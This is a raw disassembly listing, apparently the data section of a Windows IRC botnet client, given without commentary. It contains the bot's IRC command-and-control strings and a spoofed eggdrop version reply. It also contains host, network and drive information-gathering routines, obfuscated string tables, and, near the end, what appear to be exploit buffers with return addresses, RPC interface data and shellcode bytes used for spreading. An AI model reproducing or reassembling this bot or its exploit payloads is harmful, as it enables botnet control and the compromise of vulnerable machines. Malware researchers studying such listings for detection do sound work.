dword_418F84	dd 9ED9958Fh, 9FF9h, 0aJzFl		db '†‡Âݳ”«Ê',0         ; DATA XREF: sub_408887+30o
		align 10h
dword_418FA0	dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0dword_418FB0	dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset dword_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h
					; DATA XREF: .data:00418FD8o
		dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h
		dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h
		dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h
		dd 2 dup(0)
dword_41903C	dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh
					; DATA XREF: .data:00418FD4o
		dd 0
dword_419054	dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h
					; DATA XREF: .data:00418FD0o
		dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh
		dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h
		dd 92AD9Eh, 0
dword_419098	dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h
					; DATA XREF: .data:00418FCCo
		dd 97F2h, 0
dword_4190B4	dd 0D1C38786h, 91A09FB2h, 0FCB9F9AAh, 0C385A098h, 9FC38887h
					; DATA XREF: .data:off_418FC8o
		dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h
		dd 0B6F0E2ADh, 0B083h, 0
dword_4190E8	dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh
					; DATA XREF: .data:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h							; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
					; .data:0041BD9Co
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
					; .data:0041BD90o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h						; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh						; sub_408F2E+24Ao
aUnknown_0	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
aFixed		db 'fixed',0            ; DATA XREF: sub_408F2E+C0o
		align 10h
aRemovable	db 'removable',0        ; DATA XREF: sub_408F2E+AEo
		align 4
aDriveInformati	db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo
		align 4
aDriveinfoThrea	db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo
		align 4
aThread		db 'thread',0           ; DATA XREF: sub_4093B6+98o
					; sub_4094E6+93o
		align 10h
aBtg		db 'btg',0              ; DATA XREF: sub_4093B6+93o
dword_419474	dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut	db '- btg tried executing an unreadable address. (%08X)',0
aS_0		db '*%s*',0             ; DATA XREF: sub_4097A7+81o
					; sub_4098F3+C4o
		align 4
dword_4194BC	dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC	dd 3430032Dh, 2037802haNoThreadsRunni	db '- No threads running.',0
		align 4
dword_4194EC	dd 3430032Dh, 2037802h,	694C202Dh, 6E697473h, 30032067h
					; DATA XREF: sub_409AD5+3Ao
		dd 69250234h, 32F0203h,	25023430h, 20020369h, 65726874h
		dd 3A736461h, 0
aCouldNotGetAVa	db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o
		align 10h
dword_419540	dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h
					; DATA XREF: sub_409DD0+3A3o
		dd 30033A72h, 64250234h, 203h
dword_419568	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+37Fo
		dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h
		dd 203h
dword_419594	dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h
					; DATA XREF: sub_409DD0+32Fo
		dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h
		dd 2E64252Eh, 296425h
aCouldNotResolv	db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD0+80o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD0+6Ao
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD0:loc_409E24o
		align 4
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_409DD0+34o
		align 4
unk_419618	db  55h	; U		; DATA XREF: sub_40A1A7+Co
		db 73h,	61h, 67h
		db  65h	; e
		db 3Ah,	20h, 3
		db  30h	; 0
		db 34h,	2, 74h
		db  72h	; r
		db 61h,	63h, 65h
		db    3
		db 2, 20h, 3Ch
		db    3
		db 30h,	34h, 2
		db  68h	; h
		db 6Fh,	73h, 74h
		db    3
		db 2, 3Eh, 20h
aHopcountTimeou	db '[<hopcount> <timeout> <pingcount>]',0
		align 4
dword_41965C	dd 202h		aS_1		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_40A2D2+6Eo
		align 4
a43		db '43',0               ; DATA XREF: sub_40A2D2+41o
		align 4
dword_41966C	dd 3430032Dh, 3752502h,	51202D02h, 79726575h, 20676E69h
					; DATA XREF: sub_40A2D2+24o
		dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h
		dd 3A02h
dword_419698	dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h
					; DATA XREF: sub_40A4A4+44o
		dd 2E020373h, 0
dword_4196B4	dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h
					; DATA XREF: sub_40A50E+97o
		dd 30032072h, 73250234h, 203h
dword_4196D4	dd 0D9D88E95h, 0CCAFD4EEh, 0BDF0FEA1h, 0A19Eh, 0
					; DATA XREF: sub_40A50E:loc_40A562o
aAbcdef		db 'abcdef',0           ; DATA XREF: sub_40A8AD+1Bo
		align 10h
aUsername	db 'username',0         ; DATA XREF: sub_40A9CF:loc_40C8EAo
		align 4
aId		db 'id',0               ; DATA XREF: sub_40A9CF+1EF2o
		align 10h
dword_419700	dd 259B8h			align 8
dword_419708	dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h
					; DATA XREF: sub_40A9CF+1EB1o
		dd 3642502h, 79616402h,	3207325h, 25023430h, 68020364h
		dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh
		dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h
		dd 3207325h, 25023430h,	68020364h, 2572756Fh, 30032073h
		dd 64250234h, 696D0203h, 6574756Eh, 7325h
dword_41977C	dd 577ED30h			dd 2 dup(0)
dword_419788	dd 5658h			align 10h
dword_419790	dd 4827598h			dd 2 dup(0)
a9252		db '9252',0             ; DATA XREF: sub_40A9CF+1BFAo
		align 4
dword_4197A4	dd 2DEB94F9h			dd 3 dup(0)
dword_4197B4	dd 2E6BE5C8h			align 10h
dword_4197C0	dd 2E5B8h			align 8
dword_4197C8	dd 2495E5C8h			dd 2 dup(0)
dword_4197D4	dd 24858h			dd 0
dword_4197DC	dd 21DFB0F8h			dd 2 dup(0)
dword_4197E8	dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h
					; DATA XREF: sub_40A9CF+1B17o
		dd 3643330h, 20732502h,	6E69575Bh, 5D3233h
dword_41980C	dd 26809888h			dd 2 dup(0)
dword_419818	dd 266E8h			align 10h
dword_419820	dd 65657053h, 3203A64h,	25023430h, 4B020375h, 65732F42h
					; DATA XREF: sub_40A9CF+1AC8o
		dd 63h
dword_419838	dd 91DF38h			dd 2 dup(0)
dword_419844	dd 2343003h, 2037325haHasNoIpv4End_	db ' has no ipv4 end.',0
		align 10h
dword_419860	dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h
					; DATA XREF: sub_40A9CF+1976o
		dd 2037325h, 20736920h,	2343003h, 252E6925h, 69252E69h
		dd 369252Eh, 2
a2002		db '2002',0             ; DATA XREF: sub_40A9CF+1851o
					; .data:0041BD98o
		align 4
dword_419898	dd 42A40FB6h			dd 3 dup(0)
dword_4198A8	dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h
					; DATA XREF: sub_40A9CF+17C1o
		dd 2037325h, 0
dword_4198C4	dd 151858h			align 10h
dword_4198D0	dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h
					; DATA XREF: sub_40A9CF+16F1o
					; sub_40A9CF+17ECo
		dd 2037325h, 2Eh
dword_4198EC	dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h
					; DATA XREF: sub_40A9CF+16AAo
		dd 20657079h, 2343003h,	2036425h, 64646120h, 73736572h
		dd 3003203Ah, 73250234h, 203h
dword_419920	dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h
					; DATA XREF: sub_40A9CF+1659o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419944	dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h
					; DATA XREF: sub_40A9CF+1602o
		dd 3A737365h, 34300320h, 3732502h, 2
dword_419968	dd 3Ch							; sub_40A9CF:loc_40C011o ...
dword_41996C	dd 24858h			dd 0
aQuitChangingSe	db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o
		align 4
dword_41998C	dd 0B7DFB102h			dd 3 dup(0)
dword_41999C	dd 4B836E8h			dd 2 dup(0)
dword_4199A8	dd 3E08h			align 10h
dword_4199B0	dd 952EF8h			dd 2 dup(0)
dword_4199BC	dd 22F78h			dd 0
dword_4199C4	dd 59D83703h			dd 3 dup(0)
dword_4199D4	dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h
					; DATA XREF: sub_40A9CF+1431o
		dd 2343003h, 30257830h,	2035832h, 63656420h, 3003203Ah
		dd 75250234h, 2E0203h
dword_419A04	dd 1197E8h			align 10h
dword_419A10	dd 2AEC3778h			dd 2 dup(0)
dword_419A1C	dd 22DB0h			dd 0
dword_419A24	dd 155E78h			align 10h
dword_419A30	dd 135A78h			dd 2 dup(0)
aModeS		db 'MODE %s',0          ; DATA XREF: sub_40A9CF+1333o
dword_419A44	dd 121930h			align 10h
dword_419A50	dd 0D0EBFCFDh			align 10h
aDebugModeIsS_	db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40A9CF:loc_40BC5Bo
aOn		db 'on',0               ; DATA XREF: sub_40A9CF+1280o
					; sub_40A9CF:loc_40BC84o
		align 4
dword_419A7C	dd 90F030h			dd 2 dup(0)
dword_419A88	dd 29FB0h			align 10h
dword_419A90	dd 58EE830h			dd 2 dup(0)
dword_419A9C	dd 25570h			dd 0
dword_419AA4	dd 969E58h			align 10h
aPartS		db 'PART %s',0          ; DATA XREF: sub_40A9CF+1135o
dword_419AB8	dd 0FF778h			dd 2 dup(0)
dword_419AC4	dd 0FB288h			align 10h
aJoinSS		db 'JOIN %s %s',0       ; DATA XREF: sub_40A9CF+1098o
					; sub_40A9CF+10FAo ...
		align 4
dword_419ADC	dd 12A488h			dd 2 dup(0)
aQuitSRemoved_	db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao
		align 4
dword_419AFC	dd 55D1DB0h			dd 2 dup(0)
dword_419B08	dd 85A058h			dd 2 dup(0)
dword_419B14	dd 988A30h			align 10h
dword_419B20	dd 53005939h			align 10h
dword_419B30	dd 2AD87238h			dd 2 dup(0)
dword_419B3C	dd 903F4F39h			dd 3 dup(0)
dword_419B4C	dd 3F53B78h			dd 2 dup(0)
dword_419B58	dd 1054F8h			dd 2 dup(0)
dword_419B64	dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h
					; DATA XREF: sub_40A9CF+E77o
dword_419B78	dd 2AC15529h			dd 3 dup(0)
dword_419B88	dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+E2Fo
		dd 2037325h, 0
dword_419BA4	dd 90DB78h			align 10h
aItTookMeUms_	db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o
		align 4
dword_419BC4	dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h
					; DATA XREF: sub_40A9CF+D20o
		dd 2037325h, 0
dword_419BE0	dd 27B78h			align 8
dword_419BE8	dd 0F669DEC8h			dd 3 dup(0)
dword_419BF8	dd 51AF03CEh			dd 4 dup(0)
dword_419C0C	dd 560C8BD9h			dd 3 dup(0)
dword_419C1C	dd 125EC8h			dd 2 dup(0)
dword_419C28	dd 23B2DEC8h			dd 2 dup(0)
dword_419C34	dd 3E3DEC8h			align 10h
dword_419C40	dd 2AC19078h			dd 2 dup(0)
dword_419C4C	dd 203A5049h, 2343003h,	2037325h, 0dword_419C5C	dd 3D18h			dd 0
dword_419C64	dd 25CB99D8h			align 10h
dword_419C70	dd 26F91BF8h			dd 2 dup(0)
dword_419C7C	dd 26F7D4F8h			dd 2 dup(0)
dword_419C88	dd 0BA3DCE82h			dd 3 dup(0)
dword_419C98	dd 0BA3E0C3Ah			dd 3 dup(0)
dword_419CA8	dd 27740A05h			dd 3 dup(0)
dword_419CB8	dd 3F2F239h			dd 3 dup(0)
dword_419CC8	dd 12E5F8h			dd 2 dup(0)
dword_419CD4	dd 11709839h			dd 3 dup(0)
dword_419CE4	dd 24EBDF78h			align 10h
dword_419CF0	dd 1274D8h			dd 2 dup(0)
dword_419CFC	dd 119530h			dd 2 dup(0)
dword_419D08	dd 5070h			align 10h
aThisBuildIsBro	db 'This build is broken and will not function properly.',0
					; DATA XREF: sub_40A9CF:loc_40B1D8o
		align 4
aThisBuildIsFul	db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo
		align 4
dword_419D68	dd 2343003h, 4B4F5242h,	2034E45h, 0dword_419D78	dd 2333003h, 2034B4Fh, 0dword_419D84	dd 9Ah,	0	dword_419D8C	dd 95EFAFB7h, 0F78CDAE8h, 0F3ABB590h, 0EACDFBD5h, 90C4C3C2h
					; DATA XREF: sub_40A9CF+790o
		dd 90E0C0C0h, 0FDADB5E8h, 2 dup(0)
dword_419DB0	dd 4CFC788h			dd 2 dup(0)
dword_419DBC	dd 225CC0D9h			dd 3 dup(0)
dword_419DCC	dd 16C4931h			dd 3 dup(0)
dword_419DDC	dd 0F6F3A5A0h, 0F584B2DAh, 818FC085h, 0E9A083AFh, 8484D4BBh
					; DATA XREF: sub_40A9CF+534o
		dd 87F6CDABh, 2	dup(0)
dword_419DFC	dd 0D9D08FA6h, 0EEA29BE9h, 0A6BAFFBAh, 0F5BEA198h, 2 dup(0)
					; DATA XREF: sub_40A9CF+448o
dword_419E14	dd 0E4F1A9B1h, 0FB9CBBCAh, 0B0B7DD94h, 0DE84BA89h, 0E7EB9284h
					; DATA XREF: sub_40A9CF+437o
		dd 0D1AA94F4h, 9DFEE3BFh, 0C4B489AFh, 0DED29490h, 0CCABACE9h
		dd 0BDB1F9BBh, 2 dup(0)
dword_419E48	dd 21CC8h			align 10h
dword_419E50	dd 3F1EAF9h			align 10h
dword_419E60	dd 3EDD4F9h			align 10h
dword_419E70	dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h
					; DATA XREF: sub_40A9CF+39Co
		dd 3203A64h, 25023430h,	20373h
dword_419E90	dd 242660F8h			dd 2 dup(0)
dword_419E9C	dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h
					; DATA XREF: sub_40A9CF+2A1o
		dd 3D203A64h, 2343003h,	2037325h, 0
dword_419EC0	dd 232320h	dword_419EC4	dd 2B7260F8h			align 10h
dword_419ED0	dd 8EB758h			dd 2 dup(0)
dword_419EDC	dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h
					; DATA XREF: sub_40A9CF+139o
		dd 2037325h, 0
dword_419EF8	dd 473EDB0h			dd 2 dup(0)
aNickS		db 'NICK %s',0          ; DATA XREF: sub_40A9CF+CCo
					; sub_40A9CF+EFo ...
dword_419F0C	dd 1685E8h			dd 2 dup(0)
dword_419F18	dd 3C1A6B1h			dd 3 dup(0)
aLinkLink@linkP	db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o
					; sub_40D871+85Fo
		align 4
asc_419F48:				; DATA XREF: sub_40C93C+30o
					; sub_40C93C+B5o
		unicode	0, <;>,0
asc_419F4C	db '<=',0               ; DATA XREF: sub_40CA29:loc_40CE59o
		align 10h
asc_419F50	db '>=',0               ; DATA XREF: sub_40CA29:loc_40CE07o
		align 4
asc_419F54:				; DATA XREF: sub_40CA29:loc_40CDDBo
		dw 3Eh
		unicode	0, <>,0
asc_419F58	db '!=',0               ; DATA XREF: sub_40CA29:loc_40CDAFo
		align 4
asc_419F5C	db '==',0               ; DATA XREF: sub_40CA29:loc_40CD83o
		align 10h
aIpv6		db '$ipv6',0            ; DATA XREF: sub_40CA29:loc_40CC43o
					; sub_40CA29:loc_40CD58o
		align 4
aFirewall	db '$firewall',0        ; DATA XREF: sub_40CA29:loc_40CC1Fo
					; sub_40CA29:loc_40CD34o
		align 4
aLatency	db '$latency',0         ; DATA XREF: sub_40CA29:loc_40CBFBo
					; sub_40CA29:loc_40CD10o
		align 10h
aFree		db '$free',0            ; DATA XREF: sub_40CA29:loc_40CBD7o
					; sub_40CA29:loc_40CCECo
		align 4
aVersion	db '$version',0         ; DATA XREF: sub_40CA29:loc_40CBB1o
					; sub_40CA29:loc_40CCC6o
		align 4
aUptime		db '$uptime',0          ; DATA XREF: sub_40CA29+158o
					; sub_40CA29+26Do
a32s16s32s	db '%32s %16s %32s',0   ; DATA XREF: sub_40CA29+EEo
		align 4
asc_419FAC	db '&&',0               ; DATA XREF: sub_40CA29+9Do
					; sub_40CA29+45Do
		align 10h
asc_419FB0:				; DATA XREF: sub_40CA29+28o
		unicode	0, <)>,0
aExecutingComma	db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co
		align 10h
a6667		db '6667',0             ; DATA XREF: sub_40CF2F:loc_40CF60o
		align 4
aCSCCUCUSCCC	db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo
					; sub_40D871+431o
		align 10h
aG:					; DATA XREF: sub_40D043+1DCo
					; sub_40D871+392o
		unicode	0, <G>,0
aA:					; DATA XREF: sub_40D043+1C6o
					; sub_40D871+37Co
		unicode	0, <A>,0
aB:					; DATA XREF: sub_40D043+1B0o
					; sub_40D871+366o
		unicode	0, <B>,0
aUnk		db 'UNK',0              ; DATA XREF: sub_40D043+160o
					; sub_40D871+316o
aUserSSSS	db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_40D043+3Fo
aNoticeS	db 'NOTICE %s :',0      ; DATA XREF: sub_40D420+10o
					; sub_40D53F+37o
aPrivmsgS	db 'PRIVMSG %s :',0     ; DATA XREF: sub_40D4AB+10o
					; sub_40D53F+AFo
		align 4
dword_41A038	dd 1		aMessage	db 'message ',0         ; DATA XREF: sub_40D53F:loc_40D629o
		align 4
dword_41A048	dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058	dd 56495250h, 2047534Dh, 3A207325h, 1aMirc		db 'mIRC',0             ; DATA XREF: sub_40D734+6o
					; sub_40D74D:loc_40D76Eo
		align 10h
asc_41A070:				; DATA XREF: sub_40D871+CB7o
		unicode	0, <*>,0
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D871:loc_40E1C0o
					; sub_40E618+89o
		align 4
asc_41A07C	db '][',0               ; DATA XREF: sub_40D871+807o
					; sub_40D871+88Co
		align 10h
a332		db '332',0              ; DATA XREF: sub_40D871:loc_40DF8Eo
aNick		db 'NICK',0             ; DATA XREF: sub_40D871:loc_40DF3Eo
		align 4
a@:					; DATA XREF: sub_40D871:loc_40DEBEo
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D871:loc_40DE96o
					; sub_40E618+33o
a451		db '451',0              ; DATA XREF: sub_40D871:loc_40DE70o
aUserhostS	db 'USERHOST %s',0      ; DATA XREF: sub_40D871+5C4o
					; sub_40D871+5EEo
aModeSXi	db 'MODE %s +xi',0      ; DATA XREF: sub_40D871+571o
a001		db '001',0              ; DATA XREF: sub_40D871:loc_40DD97o
aModeSSmntu	db 'MODE %s +smntu',0   ; DATA XREF: sub_40D871+515o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_40D871:loc_40DD25o
		align 4
aError		db 'ERROR',0            ; DATA XREF: sub_40D871:loc_40DCFDo
		align 4
a433		db '433',0              ; DATA XREF: sub_40D871:loc_40DB2Do
dword_41A0D8	dd 4950013Ah, 1474Ehdword_41A0E0	dd 4950013Ah, 474Ehdword_41A0E8	dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16	db 'eggdrop v1.6.16',0  ; DATA XREF: sub_40D871:loc_40DAD1o
dword_41A108	dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h
					; DATA XREF: sub_40D871+24Eo
		dd 73256433h, 69572820h, 2932336Eh, 1
dword_41A12C	dd 4556013Ah, 4F495352h, 14Ehdword_41A138	dd 4556013Ah, 4F495352h, 4EhaSend		db 'SEND',0             ; DATA XREF: sub_40D871+CDo
		align 4
dword_41A14C	dd 4344013Ah, 43haPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D871:loc_40D8DDo
					; sub_40D871+901o ...
aMode		db 'MODE',0             ; DATA XREF: sub_40D871:loc_40D8C2o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_40D871:loc_40D8A7o
		align 4
aPongS		db 'PONG %s',0          ; DATA XREF: sub_40D871+25o
aPing		db 'PING',0             ; DATA XREF: sub_40D871+Ao
		align 4
aLinkLink@link	db 'link!link@link',0   ; DATA XREF: sub_40E618:loc_40E7A5o
		align 4
byte_41A18C	db 41h			; DATA XREF: sub_40E979+3Cr
					; sub_40EB4E+24r ...
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h
dword_41A1D0	dd 3430032Dh, 3732502h,	30032E02h, 73250234h, 202D0203h
					; DATA XREF: sub_4129CA+5Co
		dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h
		dd 63207325h, 6C706D6Fh, 2E657465h, 0
		dd 1130h, 0
		dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
		dd 1, 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h)
		dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h
		dd 2 dup(77E216B8h), 1130h, 0
		dd 5C28F5C3h, 400DC28Fh, 5 dup(0)
		dd 1, 0
		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
aAjAj		db '!^J!^J',0
		align 4
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		dd 2 dup(7FFDE0CCh), 0
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
